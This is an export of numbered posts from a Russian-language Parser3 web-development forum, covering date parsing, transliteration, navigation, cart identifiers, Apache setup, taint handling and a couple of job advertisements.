В документации говорится, что класс xdoc является наследником xnode, так почему же не выполняется проверка...\
[code]\
^if($xdoc_object is 'xnode'){\
... которая также должна выполнятся и для объектов класса-наследника\
}\
[/code]\
С пользовательскими классами все как надо, просто случайно заметил в своем коде при работе с DOM аналогичную проверку, и выполнись бы она по-правилам, то я бы не скоро нашел ошибку..."
"52361","перечитайте тему"
"52363","по делу: если тело не скачивается, text/binary по-ровну, ведь мы ничего не перекодируем в любом случае."
"52364","если ваш код где-то такое проверяет и сломается = скорее там переделайте, поскольку bug будет исправлен.\
\
такие проверки в DOM модно делать через \
http://www.parser.ru/docs/lang/dom_nodetype.htm"
"52366","т.е. ставить в 2 разных каталога 2 копии апача? странно как-то"
"52368","Скажите, пожалуйста, как сделать навигационную строку для каталога товаров? Т.е. вариант как http://www.egoroff.spb.ru/portfolio/15.html не подходит, т.к. там заранее прописываются все адреса. А необходимо, чтобы строка формировалась \"на лету\", как мне кажется.\
\
Все категории (включая подкатегории) хранятся в одной таблице. Например, для первой категории \"принтеры\" с id=1 может быть подкатерия с id=26.\
\
[code]\
parent_id	id	title\
0	1	Принтеры\
...\
1	26	Лазерные\
[/code]\
\
\
Строка должна получится такая:\
\
Главная / Принтеры / Лазерные\
\
\
Как ее сформировать?"
"52369","Посмторите здесь:\
[url=\"http://www.parser.ru/forum/?id=6715\"]http://www.parser.ru/forum/?id=6715[/url]"
"52371","У меня перестал отображать методы, несмотря на сохранение нетронутым файла подстветки языков.\
Иногда кажет только ^1 и введёт ссылкой на один их ^if в документе..."
"52372","В продолжение [url=\"http://www.parser.ru/forum/?id=41676\"]треда о классе транслитератора[/url]...\
\
[code]\
@CLASS\
transliter\
\
@auto[]\
$default[^table::create{rus	lat\
А	A\
а	a\
Б	B\
б	b\
В	V\
в	v\
Г	G\
г	g\
Д	D\
д	d\
Э	Ye\
э	ye\
Ю	Yu\
ю	yu\
Я	Ya\
я	ya\
Е	E\
е	e\
Ё	E\
ё	e\
Ж	Zh\
ж	zh\
З	Z\
з	z\
И	I\
и	i\
Й	J\
й	j\
К	K\
к	k\
Л	L\
л	l\
М	M\
м	m\
Н	N\
н	n\
О	O\
о	o\
П	P\
п	p\
Р	R\
р	r\
У	U\
у	u\
Ф	F\
ф	f\
Ц	Ts\
ц	ts\
Т	T\
т	t\
Щ	Shch\
щ	shch\
Ч	Ch\
ч	ch\
Ш	Sh\
ш	sh\
С	S\
с	s\
Х	H\
х	h\
ь	'\
Ь	'\
ъ	\"\
Ъ	\"\
Ы	Y\
ы	y\
}]\
# Таблица ГОСТ 16876-71\
$GOST[^table::create{rus	lat\
А	A\
а	a\
Б	B\
б	b\
В	V\
в	v\
Г	G\
г	g\
Д	D\
д	d\
Э	Eh\
э	eh\
Ю	Ju\
ю	ju\
Я	Ja\
я	ja\
Е	E\
е	e\
Ё	E\
ё	e\
Ж	Zh\
ж	zh\
З	Z\
з	z\
И	I\
и	i\
Й	Jj\
й	jj\
Л	L\
л	l\
М	M\
м	m\
Н	N\
н	n\
О	O\
о	o\
П	P\
п	p\
Р	R\
р	r\
Т	T\
т	t\
У	U\
у	u\
Ф	F\
ф	f\
Х	Kh\
х	kh\
К	K\
к	k\
Ч	Ch\
ч	ch\
Ц	С\
ц	с\
Щ	Shh\
щ	shh\
Ш	Sh\
ш	sh\
С	S\
с	s\
ъ	\"\
Ъ	\"\
Ы	Y\
ы	y\
ь	'\
Ь	'\
}]\
#end @auto[]\
\
@format[params][table]\
^if(!def $params.string){\
	^throw[transliter.string;^$.string option MUST be specified.]\
}\
^if($params.table is 'table'){\
	$table[$params.table]\
}{\
	^switch[$params.table]{\
		^case[DEFAULT]{\
			$table[$default]\
		}\
		^case[GOST]{\
			$table[$GOST]\
		}\
	}\
}\
^if($params.untranslit){\
$table[^table::create{lat	rus\
^table.menu{\
$table.lat	$table.rus\
}\
}]\
}\
$result[^params.string.replace[$table]]\
^if(def $params.optimize){\
	^switch[$params.optimize]{\
		^case[whitespaces]{\
			$result[^result.match[\\s][g]{_}]\
		}\
	}\
}\
#end @format[]\
[/code]\
\
[b]Примеры вызовов.[/b]\
\
[code]\
$tmp[^transliter:format[\
	$.table[GOST]\
	$.string[Вася Петров Шьявлев Эмолъволяновь]\
]]\
$tmp\
^transliter:format[\
	$.table[GOST]\
	$.untranslit(1)\
	$.string[$tr1]\
	$.optimize[whitespaces]\
]\
[/code]\
\
[b]$.string[STRING][/b] - обязательный параметр. В него передаётся строка для преобразования.\
[b]$.table[STRING/TABLE][/b] - необязательным параметром. В классе 2 таблицы, одна по умолчанию (мне кажется она наиболее удобная), другая - ГОСТ 16876-71. Можно передать свою таблицу. Доступное значение: [i]GOST[/i].\
[b]$.untranslit(INT)[/b] - необязательный параметр. Выполняет обратное преобразование.\
[b]$.optimize[STRING][/b] - необязательный параметр. Выполняет мелкие преобразования. Доступное значение: [i]whitespaces[/i] (заменяет пробелы на _)."
"52373","Попробовал Ultra Edit - понравилось, раньше пользовался EditPlus. Можно ли как-нибудь сделать, чтобы после фигурных скобок автоматически ставилась табуляция? \
\
Например:\
^if($a==$b){\
<tab>	true\
}"
"52374","можно поставить две разные копии - это даже проще.\
можно установить одну службу, затем полезть в реестр и сделать копию соответствующей строки, прибавив к команде запуска параметр -f c:\\...\\другой_httpd.conf\
\
Другой путь - использовать параметр командной строки -D [i]keyword[/i] и использовать в одном на двоих httpd.conf директиву <IfDefine [i]keyword[/i]> [i]что-то специфическое[/i] </IfDefine>."
"52375","А надо как мне кажется что-то типа цикла использовать.\
\
[code]\
catalog\
parent_id	id	title\
0	1	Принтеры\
1	2	Лазерные\
1	3	Струйные\
2	4	Новинки\
[/code]\
\
Если хочу посмотреть новинки лазерных принтеров, то адрес у меня будет /goods/?catalog=4\
\
Мне кажется, что нужно брать $form:catalog и шагать по таблице [i]catalog[/i] в поисках истины. Т.е. смотрим, parent_id=2, ищем строчку где id=2, находим, опять смотрим и видим, что parent_id=1, ищем строчку где id=1, находим, и здеь parent_id=0 > цикл окончен.\
\
[code]^while($catalog.parent_id > 0){^?.select[...]$?.title}[ / ][/code]"
"52378","и всячески от неё открещиваетесь.\
Между тем у вас она тоже \"заранее прописанная\", ведь она где-то хранится.\
\
То, что вы выдумываете реализовано в примере \"получение списка всех uri\", который вы отвергли.\
Для того чтобы построить после этого навигацию достаточно использовать принцип http://www.egoroff.spb.ru/portfolio/10.html\
\
Ещё, где-то в недрах форума есть класс построения навигации при использовании файликов с разделами, как в уроках."
"52379","тогда while как вы и описывали"
"52380","Наверняка кто-то стакливаля с необходимостью создавать формы для введения даты\
\
Большую часть форм у меня обрабатывается автоматически, но вот выведение формы для даты как-то некрасиво вышло.\
\
[b]$getdata[/b] -- хранится поле класса с датой которое вставляется в форму в случае редактирования.\
\
[b]$form:...[/b] в случае ошибки и перехвата ^try значение введенное до этого в форму сохраняется\
\
[b]$now.[/b] --  вставляет текущую дату при создании страницы\
\
Нижеприведенный код создают форму(знаю что ужасен, вот и хочу переписать воспользовавшись ваши советом):\
[code]\
@date_form[header;name]\
<p>$header</p>\
дд:<input type=\"text\" class=\"date\" name=\"day_${name}\" value=\"\
^if(def $getdata:[date_${name}.day] || $form:[day_${name}]){\
$getdata:[date_${name}.day]}\
${form:[day_$name]}$now.day\" /> \
мм: ^func:monthSelect[$[month_${name}];$getdata:[date_${name}.month]] \
гггг: <input type=\"text\" class=\"date\" name=\"year_${name}\"\
value=\"\
^if(def $getdata:[date_${name}.year] || $form:[year_${name}]){$getdata:[date_${name}.year]}\
${form:[year_${name}]}$now.year\" /></p>\
[/code]"
"52381","хотя код все равно кривой :(\
\
суть в том, что указывается id для группы полей, и дата формата YYYY-MM-DD [HH:MM[:SS]]\
\
Например, ^date_fields[2006-05-01;start_at] (создает 3 поля ввода) и ^date_fields_get[start_at] - возвращает дату."
"52382","[code]############################################################\
# $Id: mysql.p,v 1.30 2006/03/28 09:54:38 misha Exp $\
############################################################\
\
############################################################\
@date_diff[t;sDateFrom;sDateTo]\
$result[^if(def $sDateTo){TO_DAYS($sDateTo)}{^self.now[]} - TO_DAYS($sDateFrom)]\
#end @date_diff[]\
[/code]\
\
Вопрос для самообразования зачем в данной функции нужен параметр t?"
"52383","Пытаясь использовать RSS каналы на своем сайте долго и упорно бился с датами, функция from822 класса dtf.p упорно не хотела принимать даты форматов:\
1 May 2006 19:00:00 MSK;\
Mon, 1 May 2006 19:00:00 +0400\
\
пришлось немного дорабатывать данную функцию напильником:\
\
[code]\
###########################################################################\
# $Id: dtf.p,v 1.21 2005/10/20 17:26:14 misha Exp $\
#\
# доступны методы:\
# @create[date;default]					из строки/даты конструирует объект типа date\
# @format[fmt;date;locale]				выводит полученную date, используя форматную строку\
# @last-day[date]						возвращает дату последнего дня заданного[текущего] месяца\
# @from822[string]						создает дату из переданной строки-даты в формате RFC822\
# @to822[date;timezone]					сдвигает дату из текущей TZ в указанную TZ и выводит её в виде строки в формате RFC822\
# @setLocale[locale]					задает новое значение locale, возвращая старое\
# @resetLocale[]						сбрасывает locale в default\
#\
###########################################################################\
\
\
###########################################################################\
# принимает в строку-дату в формате RFC822 и создает из неё объект типа date\
# still under construction/testing.\
@from822[string][_tmp;_fields;_name;_k;_v;_d2;_diff]\
^try{\
	^if(!def $string){\
		^throw[dtf.from822;Empty date]\
	}\
#	$_tmp[^string.match[(?:([a-z]{3}),\\s+)?(\\d{1,2})\\s+([a-z]{3})\\s+(\\d{4}|\\d{2})\\s+(\\d{1,2}):(\\d{1,2}):(\\d{1,2})\\s+(\\w{3,5})?|(?:\\s*([-+]?\\d{1,2}(\\d{2})?))?][i]]\
	$_tmp[^string.match[(?:([a-z]{3}),\\s+)?(\\d{1,2})\\s+([a-z]{3})\\s+(\\d{4}|\\d{2})\\s+(\\d{1,2}):(\\d{1,2}):(\\d{1,2})\\s+(\\w{3,5})?(?:\\s*([-+]?\\d{1,2})(\\d{2})?)?][i]]\
	^if($_tmp){\
#		^if(^_tmp.1.match[\\D]){\
			$_fields[\
				$.weekday_name[$_tmp.1]\
				$.day($_tmp.2)\
				$.month(0)\
				$.month_name[$_tmp.3]\
				$.year($_tmp.4)\
				$.hour($_tmp.5)\
				$.min($_tmp.6)\
				$.sec($_tmp.7)\
				$.tz[$_tmp.8]\
				$.offset_hour[$_tmp.9]\
				$.offset_min[$_tmp.10]\
			]\
#		}{\
#			$_fields[\
#				$.weekday_name[]\
#				$.day($_tmp.1)\
#				$.month(0)\
#				$.month_name[$_tmp.2]\
#				$.year($_tmp.3)\
#				$.hour($_tmp.4)\
#				$.min($_tmp.5)\
#				$.sec($_tmp.6)\
#				$.tz[$_tmp.7]\
#				$.offset_hour[$_tmp.8]\
#				$.offset_min[$_tmp.9]\
#			]\
#		}\
		^rem{ *** check month abbr *** }\
		$_name[^_fields.month_name.lower[]]\
		^es-locale.month.foreach[_k;_v]{\
			^if(^_v.lower[] eq $_name){\
				$_fields.month($_k)\
			}\
		}\
		^if(!$_fields.month){\
			^throw[dtf.from822;Unknown month '$_fields.month_name']\
		}\
\
		^if(def $_fields.offset_hour && !def $_fields.tz){\
			$_fields.tz[GMT]\
		}\
		\
		$result[^date::create($_fields.year;$_fields.month;$_fields.day;$_fields.hour;$_fields.min;$_fields.sec)]\
\
		^rem{ *** check weekday abbr *** }\
		^if(def $_fields.weekday_name){\
			^if(^_fields.weekday_name.lower[] ne ^es-locale.weekday.[$result.weekday].lower[]){\
				^throw[dtf.from822;Incorrect day of week '$_fields.weekday_name' in RFC822 date (must be '$es-locale.weekday.[$result.weekday]')]\
			}\
		}\
		\
		^rem{ *** roll time to timezone *** }\
		^if(def $tz.[$_fields.tz]){\
			$_d2[^date::create($result)]\
			^_d2.roll[TZ;$tz.[$_fields.tz]]\
			$_diff(^date::create($_d2.year;$_d2.month;$_d2.day;$_d2.hour;$_d2.minute;$_d2.second) - $result)\
			$result[^date::create($_d2 - $_diff)]\
		}\
		\
		^rem{ *** apply timezone offset *** }\
		^if(def $_fields.offset_hour){\
#			$result[^date::create($result - ($_fields.offset_hour + ^_fields.offset_min.int(0) / 60) / 24)]\
#			Вносим поправку на летнее время\
			$result[^date::create($result - ($_fields.offset_hour + ^_fields.offset_min.int(0) / 60 - ^result.daylightsaving.int(0)) / 24)]\
		}\
	}{\
		^throw[dtf.from822;Wrong RFC822 date format]\
	}\
}{\
	^if($exception.type ne \"dtf.from822\"){\
		$exception.handled(1)\
		^throw[dtf.from822;Can't create date (${_fields.year}-${_fields.month}-$_fields.day ${_fields.hour}:${_fields.min}:${_fields.sec}).]\
	}\
}\
#end @from822[]\
[/code]\
\
теперь принимаются даты:\
Mon,  1 May 2006 19:00:00 MSK;\
Mon,  1 May 2006 19:00:00 +0400;\
1 May 2006 19:00:00 MSK;\
1 May 2006 19:00:00 +0400;\
\
с учетом перехода на летнее время."
"52384","подскажите как из html документа удалить все теги типа <html> <body> <title> <link и проч\
чтобы остались тока table p карочи удалить все теги обьяснения разметки"
"52385","http://www.egoroff.spb.ru/portfolio/15.html - в точку. :)"
"52386","[code]SELECT one.num_dog, one.num_tel, two.familia FROM one, two WHERE one.num_dog = two.num_dog AND one.num_dog = 1 [/code]\
MYSQL на русском есть в полезных"
"52387","В IT-компанию требуется Perl программист \
Для разработки IT-проектов (Perl + MySQL + *nix)\
Требования: Образование высшее, возможно студент 5-6 курсов.\
Отличные знания Perl, MySQL.\
от $1000 в месяц\
полный рабочий день, м. Авиамоторная\
Тел. 589-02-34 Михаил Александрович\
Резюме на e-mail: job123@ams-admin.ru"
"52388","Вот пришлось столкнуться с задачкой...\
Представьте, что ребуется работать с хешами, причем условия таковы, что велика вероятность наличия ключей, совпадающих с именами полей/методов hash-объекта. Как известно, в таких случаях скрытые ключами методы нельзя вызвать таким образом:\
[code]\
$h1[\
    $.add[]\
    $.delete[]\
    $.foreach[]\
]\
# этот метод найден не будет:\
^h1.delete[...]\
[/code]\
Т.е. никакие методы у h1 использовать нельзя, и поля тоже. Далее требуется создать и динамически наполнить хеш h2 (с ключами опять та же проблема), потом сделать объединение этих хешей, и, наконец, вызвать ^h2.foreach[k;v]{...}.\
Eсли бы не существующее ограничение, это могло бы выглядеть очень просто:\
[code]\
#$h1 уже есть, допустим, он пришел как параметр функции\
$h2[^hash::create[]]\
... здесь ^какой-нибудь_цикл{ в котором $h2.$key[$value]}\
$h2[^h2.union[h1]])\
$h2.foreach[k;v][... тут тоже что-то происходит]\
[/code]\
И вот что у меня получилось, если в коде предусмотреть ситуацию, когда у хешей возможно наличие ключей с совпадающими с методами именами:\
[code/]\
#$h1 уже есть, допустим, он пришел как параметр функции\
$h2[^hash::create[]]\
$h2_foreach[$h2.foreach]\
$h2_add[$h2.add]\
$h2_intersection[$h2.intersection]\
\
... здесь ^какой-нибудь_цикл{ в котором $h2.$key[$value]}\
\
$h_intersect[^h2_intersection[$h1]]\
^h2_add[$h1]\
^h2_add[$h_intersect]\
\
^h2_foreach[k;v][... тут тоже что-то происходит]\
[/code]\
Если вдруг на ваш взгляд окажется, что я чесал уши ногами, буду рад увидеть альтернативную реализацию."
"52390","На сколько я помню данный метод изначально был заявлен как сырой, и требующий доработки.\
\
Проблема конвертации даты из RFC822 заключается в том, что каждый по своему трактует этот стандарт, и нет единой документации как нужно указывать временные зоны.\
\
Один из ваших примеров:\
[code]1 May 2006 19:00:00 MSK[/code]\
\
MSK указывает что время Московское, следовательно размещая новость в Тюмени, я должен неким образом знать что у нас разница в 2 часа и правильно отобразить дату.\
\
По идее дата должа была выглядеть вот так:\
[code]1 May 2006 17:00:00 +0200 MSK[/code]"
"52392","Никто про ошибки и не говорит, просто был предложен один из работающих вариантов, так сказать информация для размышления, кому-то пригодится...\
Нам проще, мы живем по московскому времени :-)"
"52393","Насколько я понимаю MSK задает смещение для указанного даты/времени относительно Гринвича, т.е. MSK эквивалентно +0300, а смещение для временной зоны задается руками программера..."
"52394","- во-первых, перешёл на Яндекс-Ленту ;-)\
- во вторых, пока не перешёл, остановился на концепции \"когда rss-item скушали, такая дата у него  и будет\". Вы себе не представляете, сколько косяков с датами случается, так что это - лучший метод..."
"52395","Но у меня три поля. Гораздо проще навигация альт-таб. Там просто админ будет квалифицированный парень :) \
Мне почему-то неудобно на мышку переключатся. \
Надо будет обсудить этот вопрос с дизайнером."
"52396","для ридера не проще дату парсить xsl при конвертации rss в html?"
"52397","Подскажите, пожалуйста, как найти в тексте и выдернуть из него значение SESSION_ID. Известно заранее, что текст справа и слева от SESSION_ID одинаковый. Вот пример: \
\
[code]\
href=\"ACCOUNT_INFO?SESSION_ID=3B2Z82DF4455315L000225227P819957\" class=\"green\"\
[/code]"
"52398","[code]\
############################################################\
@date_diff[t;sDateFrom;sDateTo]\
$result[DATEDIFF($t, $sDateFrom, ^if(def $sDateTo){$sDateTo}{^self.today[]})]\
#end @date_diff[]\
[/code]"
"52400","Сабж возможен?\
\
[b]Шаг 1.[/b]\
[code]$back[^image::load[sale.gif]]\
^back.font[1234567890;digits.gif](0;8)\
^back.text(27;120)[^math:random(1000)]\
$response:body[^back.gif[]][/code]\
\
То есть следующим шагом мне нужно будет загрузить новый шрифт и нанести надпись в другом месте. Но не сохраняя промежуточный результат в файл на диске и не подгружая его как фон."
"52402","PCRE"
"52403","проблема в нахождении идеального уникального идентификатора.\
магазин - hitech-yar.ru\
я делал так:\
[code]\
@main[] ### корневой auto.p\
$dn[^date::now[]]\
$self.user_id{^math:md5[$env:REMOTE_ADDR $dn.year $dn.month $dn.day]}[/code]\
этот $self.user_id я и использовал как уник - он записывался в БД в поле уника к каждому товару который был положен в пользовательскую корзину\
\
но моя корзинка если не пуста отображается и у других юзеров и они не могут добавить в корзину ничо. стоит мне выйти сос траницы как все работает идеально. пачаму?\
а ишо может кто знает другие способы реализации?"
"52404","[code]\
$back[^image::load[sale.gif]]\
^back.font[1234567890;digits.gif](0;8)\
^back.text(27;120)[^math:random(1000)]\
...\
здесь загрузить другой шрифт и сделать надпись\
...\
$response:body[^back.gif[]]\
[/code]"
"52405","0) почему так плохо с письменным русским?\
1) что мешает воспользоваться [b][url=\"http://www.parser.ru/docs/lang/mathuuid.htm\"]uuid[/url][/b]?"
"52406","дело в том что uuid - это случайная строка которая генерится при каждом вызове - соответственно она не постоянна. а если человек входит в корзину не раз за день то что, он ее каждый раз должен собирать? это не есть правильно! здесь как раз нужна константа которая зависит от даты, а как уже сказано в документации, uuid от даты не зависит!\
\
еще предложения, товарищи? по идее с IPшником идея хорошая - смешать с датой и через md5 - константа ровно на 1 день. объясните почему она отображается и на других машинах не состоящих в локалке (с отличными айпишниками от моей машины)\
\
ах, да, забыл уточнить - хочу по возможности без кукисов - они часто отключаются\
\
№3: как сделать идентификатор еще более уникальным (а то встает проблема компов завязаных на 1 маршрутизаторе - у них 1 IP внешний)"
"52408","1. Перестаньте хамить.\
2. Нужно [b]хорошо подумать[/b] о том, какая уникальность Вам нужна."
"52409","я не понял чем вам не угодило регулярное выражение по разбору даты в формате RFC822 и соответственно проверка, но на досуге посмотрю.\
\
дело в том что как-то я начал делать эти методы, а потом наткнулся на баг парсера при работе с временными зонами, обойти которые не представлялось возможным (в последних версиях парсера он поправлен), поэтому методы были не закончены."
"52410","Cookie!!!!!"
"52411","[quote]дело в том что uuid - это случайная строка которая генерится при каждом вызове - соответственно она не постоянна. а если человек входит в корзину не раз за день то что, он ее каждый раз должен собирать? это не есть правильно! здесь как раз нужна константа которая зависит от даты, а как уже сказано в документации, uuid от даты не зависит![/quote]\
\
А теперь представим ситуацию, что клиент вашего магазина начал заказывать вещи в 23:50. Много чего назаказывал, пролетело много времени, он смотрит на часы а там 00:20. Он довольный собирается оформить заказ смотрит в корзину и матерится (дата то сменилась)\
Больше он к Вам не зайдёт...\
\
И ещё один момент, Вы действительно считаете, что Ваш метод генерирует [b]уникальные[/b] значения?\
\
[quote]ах, да, забыл уточнить - хочу по возможности без кукисов - они часто отключаются[/quote]\
\
Вам стоит сильно задуматься над [b]правильностью[/b] выбранного Вами алгоритма..."
"52412","По моему, всегда Cookies рулил."
"52413","[code]\
$name[add]\
$value[123]\
#пишем\
$hash.f$name[$value]\
#читаем\
$hash.f$name\
[/code]\
\
конечно, это несколько медленнее, но менее некрасиво."
"52414","Дело в том, что сейчас я пишу специальный набор компонентов (читай связанный набор скриптов) (кто видел eZ components, тот знает, о чем я говорю)… Естественно, на Parser'e. И хочу узнать, что действительно необходимо, а что основная масса программистов использовать вообще не будет. И так, вот список предполагаемых компонентов:\
\
. . 1) Работа с архивами (ZIP, GZIP, BZIP2, etc)\
. . 2) Отправка почты, etc\
. . 3) Отладчик\
. . 4) Работа с пользовательскими данными (INPUT, etc)\
\
Естественно, я не собираюсь копировать уже существующие классы Parser'a. Мне нужна расширенная функциональность.\
\
З.Ы.: А Парсер, вообще, умеет работать с архивами?\
\
З.З.Ы.: Зачем изобретаю очередной велосипед? Надоело постоянно переписывать код. Будет такой репозитарий компонентов, и юзай их кто хочет. И вообще, New BSD лицензия рулит :)."
"52416","если вы назовёте поля по-английски, последующие поколения вам скажут «Thanks!».\
\
[code]\
contract_id\
phone_number\
surname\
[/code]"
"52417","Всем здравствуйте.\
Помогите разобраться. \
Ответьте мне пожалуйста со всей революционной прямотой и ясным комсомольским взглядом.\
Скачал все, как сказано. \"Полный\" вариант с Source.Forge.\
Кроме того, патч для XP SP2.\
Запустил. Вернее попытался. Но обещенного \"пера\" и всего прочего не наблюдаю. \
Наблюдаю в меню пуск/программы только Apache HTTP Server и ActivePerl реализации 817. Причем две штуки -ActiveState ActivePerl и просто ActivePerl.\
Команды net start и net stop apache, запускаемые из командной строки срабатывают - служба запускается и, наоборот, закрывается. Но я так и не понял работает Apache или нет. \
Что с PHP и др. входящими в пакет?\
\"Что-то мучают меня смутные сомнения\". \
Может я чего не понимаю и делаю все не так?\
Заранее благодарю."
"52418","Попробуй Денвер"
"52419","Вот так только Парсер умеет работать с архивами:\
http://parser.astra-design.ru/misc/unpack/\
(метод правда кривоват, но работает, все собираюсь переписать, да руки не доходят)"
"52420","0) раз на ты - значит так и продолжу\
1) еще раз перечитал твой пост:\
[quot]...использовал как уник - он записывался в БД в поле уника к каждому товару который был положен в пользовательскую корзину...[/quot]\
вот это дает мне основания думать, что у тебя нет уникальных идентификаторов для каждого товара в БД и тебе приходится его генерить, это так?\
и я вижу ты уже сам столкнулся ситуацией \"одна дата, один IP - много разных пользователей\"\
\
вообще, я бы хранил в корзине ID/UUID товара записанный в базе при insert`e товара в БД, для идентификации корзины вполне может хватить UID покупателя и UID`a самой корзины. ну или: MD5(раз он тебе так нравится) на логин и номер(UID) корзины вполне должно хватить для таких нужд.\
IMHO - почти все просто.\
\
и еще: ты сам себе противоречишь - сначала просишь помочь с генерацией UID:	[quot]проблема в нахождении идеального уникального идентификатора. ...[/quot], потом из твоего ответа: [quot]uuid - это случайная строка которая генерится при каждом вызове[/quot] - не ясно: ты хранить эту строку не можешь или что?\
я все же плохо понимаю - чего ты хочешь?\
хранить данные о сессии?"
"52421","[url=\"http://hitech-yar.ru\"]Hi-Tech[/url]\
в таком виде я его сдаю под ключ - обновление, дополнение, редакция статических страниц - все через админку (CMSmini)\
весь сайт грузится через БД - от начала и до конца.\
Статистика: 34 файла, из них в админке - 14, 4 реальных страницы + страницы ошибок 8 папок.\
Масса брутто (с картинками, входящими в состав страницы, не прикрепляемыми админом) - 342кб.\
Еще раз великая Благодарность Всем кто терпел меня - мы закрыли этот проект. можно отметить кокаколой!"
"52424","В Опера 9 не кладется."
"52427","В оригинальном варианте если я задаю дату вида: Mon, 1 May 2006 19:00:00 +0400, то:\
[code]\
$.offset_hour[$_tmp.9] - +0400\
$.offset_min[$_tmp.10] - неопределена\
[/code]\
следовательно:\
[code]\
^rem{ *** apply timezone offset *** }\
^if(def $_fields.offset_hour){\
$result[^date::create($result - ($_fields.offset_hour + ^_fields.offset_min.int(0) / 60) / 24)]\
}\
[/code]\
дает ошибку, вот такой нюанс"
"52428","Напрягает:\
1. Открытие товара в новой странице\
2. Нет возможности добавить товар в корзину со страницы с его описанием\
3. Под Оперой действительно не добавляется товар. Под IE у меня тоже не добавляется.\
4. Аллерт\
\
Ну и наверное для начала в качестве примера взяли бы какой-нибудь реальный магазин, а то это что-то непонятное...."
"52429","Какой простенький магазинчик ;)"
"52430","8.5... тоже."
"52431","Московский крупный банк приглашает на позицию \"Инженер-программист\" в Отдел Разработки ПО  \
\
\
Требования: \
возраст до 40 лет\
знание и умение разрабатывать на Transact-SQL (MS SQL Server 2000) и ObjectPascal (Delphi)\
желателен опыт разработки программного обеспечения более 2-х лет (опыт работы в банке не обязателен, но будет плюсом)\
Необходима прописка в Москве или МО.\
\
Обязанности: \
разработка ПО архитектуры \"клиент-сервер\" с помощью Delphi и Transact-SQL.\
\
Условия: \
уровень заработной платы - 1000 - 1500 $; бесплатные обеды.\
офис в центре\
\
\
Резюме с пометкой \"инженер-программист\" направлять на адрес nvd@hlight.ru\
Контактное лицо: Дедурина Наталья\
тел. 2253462"
"52433","а как этот баг пофиксить моно?"
"52435","Жаль, что встроенных средств нет. Зато таким образом можно создать интерфейсы для работы со многими форматами архивов. Это радует.\
\
Потребуется множество CGI-обработчиков, это огорчает.\
\
Хотелось бы узнать, намереваются ли разработчики встроить в Parser поддержку работы с архивами?"
"52437","Отлично. Ясно. Понятно, спасибо."
"52438","Кто-нибудь занимается TDD на Parser, если да то интересны наработки в эту сторону. Ну и конечно за и против применения TDD при разработке на Parser."
"52439","Как я понял, Птичка является лицом Парсера. Тогда…\
\
…кто знает, что такое \"СУП из Птички\"?\
\
З.Ы.: Уважаемая администрация, прошу прощения за небольшой оффтоп.\
\
З.З.Ы.: Ответ на вопрос будет позже на RedQua.org (это не реклама :) )"
"52442","иногда, когда нужно.\
есть несколько классов из книжки \"Разработка через тестирование\" адаптированные под парсер."
"52443","то есть наработки по ParserUnit?\
А то я вот думаю над адаптацией методов, но трудно дается."
"52444","Для начала расскажите мне, пожалуйста, ставили ли вы отдельно Apache и Perl до установки \"Швейцарского ножика\"?\
\
Для справки: установщик Swissknife не ставит apache в виде службы Windows - и командой [i]net start apache[/i] его не запустишь. Предполагаю, что некий злодей спёр у вас пароль, под покровом ночи залез к вам на компьютер и втайне от вас :-) поставил вам Apache и ActiveState Perl. Когда вы ставите Swissknife, второй апач, который входит в комплект, не может запуститься (два медведя в одной берлоге не уживаются без специальных уговоров). \
\
Одного не могу понять, Swissknife при запуске проверяет, занят ли порт 80 какой-либо другой программой - и об этом сообщает. Предупреждение на экран выводилось? Вы его читали?\
\
В сухом остатке: пожалуйста, сходите в Пуск -> Настройка -> Панель управления -> Установка и удаление программ, удалите всё, что имеет отношение к Apache, MySQL, PHP и Perl, перезагрузитесь и попробуйте установить Swissknife заново. Всё должно получиться в лучшем виде."
"52445","[code]\
$h[^hashfile::open[test]]\
$h.k[a	b\
1	2]\
$t[^table::create{$h.k}]\
$c[^t.columns[]]\
^taint[uri][$c.column]\
[/code]\
\
Выдаёт: a%09b%0A1%092"
"52446","можно сказать что для себя я тему раскрыл"
"52447","почитайте про taint/untaint в доке и примерах и сообщите парсеру о том, что вы доверяете этим данным.\
\
P.S. у hashfile есть ограничение на длину записи."
"52448","перед table::create заменить в строке знак \\t на него же, но clean.\
\
[code]\
$s[^s.match[\\t][g]{^#09}]\
[/code]\
\
дело тут в том, что table::create разрезает строку на колонки по [b]clean[/b] табуляциям.\
чтобы можно было такое:\
[code]\
$t[^table::create{name	age\
$form:name	$form:age\
}]\
[/code]\
и вот так ?name=123%09xxxx&age=123\
таблица не разрушилась."
"52449","конкретное совпадение!\
\
у Жюля Верна, помнится, герои с размаха втыкали иголку в середину отрезка, да оба в один пиксел попадали ;)\
\
тут можно будет в базе секунду посмотреть ;))"
"52450","удаляющее из строковой переменной строки, начинающиеся например с символа \"Z\" (и заканчивающиеся соответственно на \\n), т.е. из этого\
\
$s[z dgffgttr 54665\
fgfgd hgh gh 6ty\
zzzg gf hg\
455 z gfg]\
\
должно получится:\
\
fgfgd hgh gh 6ty\
455 z gfg"
"52451","$Z*.^\
\
зы давно не писал могу ошибаться\
для парсера будет выглаядеть вот так\
\
^$Z*.^^"
"52453","Т.е. в строке адреса пишут всё что угодно, а исполняется только корневой auto.p..."
"52454","Здесь есть пример шаблона для вашей задачи: http://www.egoroff.spb.ru/portfolio/sources/sources.html\
\
На том же сайте можете найти переводы документации и руковдоства по mo_rewrite."
"52456","я так понимаю нужно в .htaccess прописать [code]SetEnv CGI_PARSER_CONFIG d:/Apache/cgi-bin/conf/test/auto.p\
AddHandler parser-handler .html\
Action parser-handler /cgi-bin/parser3.exe\
\
# назначение обработчиком .html страниц \
#AddHandler parser3-handler html \
\
# задание Конфигурационного файла \
#ParserConfig d:/Apache/cgi-bin/auto.p\
\
RewriteEngine on\
RewriteOptions inherit\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	index.html?uri=/$1 [QSA,L][/code]\
\
вот собственно и всё?"
"52457","там не конец строки \"^^\", там \"\\n\""
"52458","ну а про $Z я не понял... наверное просто ^^z.*?^$"
"52460","Прошу оказать содействия в нахождении информации о создании наподобие в maps.google перемещения в браузере собственной карты."
"52461","Приходят ко мне данные по RSS каналам вот в таком виде:\
\
пример:\
[code]\
	<description><![CDATA[ <p> Экспортная пошлина на нефть в России с 1 июня 2006г. будет установлена на рекордном уровне - 199,8 долл./т. Об этом сообщил РБК заместитель начальника отдела таможенных платежей Министерства финансов РФ Александр Сакович. Ранее сообщалось, что экспортная пошлина будет установлена на уровне около 200 долл./т. \
<br>\
